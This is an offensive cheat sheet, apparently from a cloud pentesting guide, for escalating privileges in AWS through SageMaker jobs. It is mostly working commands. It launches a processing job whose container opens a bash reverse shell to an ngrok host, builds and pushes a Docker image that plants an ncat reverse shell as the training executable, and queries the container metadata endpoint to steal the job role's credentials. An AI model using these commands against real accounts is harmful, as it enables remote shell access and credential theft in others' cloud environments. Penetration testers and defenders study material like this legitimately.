# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
# Create trainning job with the docker image createdawssagemakercreate-training-job \--training-job-name privescjob \--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \--algorithm-specification '{"TrainingImage":"<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \--role-arn <role-arn> \--output-data-config '{"S3OutputPath": "s3://<bucket>"}' \--stopping-condition '{"MaxRuntimeInSeconds": 600}'#To get the credscurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer